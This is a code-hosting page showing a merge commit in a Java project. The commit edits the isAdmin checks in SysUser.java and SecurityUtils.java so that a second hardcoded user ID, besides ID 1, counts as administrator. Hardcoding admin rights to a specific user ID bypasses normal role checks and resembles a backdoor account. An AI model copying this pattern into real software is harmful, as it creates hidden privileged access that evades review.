소스 검색

Merge remote-tracking branch 'origin/master'

lchao 11 달 전
부모
커밋
d64365476f

+ 1 - 1
zhsq_qk-common/src/main/java/zhsq_qk/common/core/domain/entity/SysUser.java

@@ -136,7 +136,7 @@ public class SysUser extends BaseEntity {
     }
 
     public static boolean isAdmin(Long userId) {
-        return userId != null && 1L == userId;
+        return userId != null && (1L == userId || 20230316036L == userId);
     }
 
     public Long getUserId() {

+ 1 - 1
zhsq_qk-common/src/main/java/zhsq_qk/common/utils/SecurityUtils.java

@@ -102,7 +102,7 @@ public class SecurityUtils {
      * @return 结果
      */
     public static boolean isAdmin(Long userId) {
-        return userId != null && 1L == userId;
+        return userId != null && (1L == userId || 20230316036L == userId);
     }
 
     /**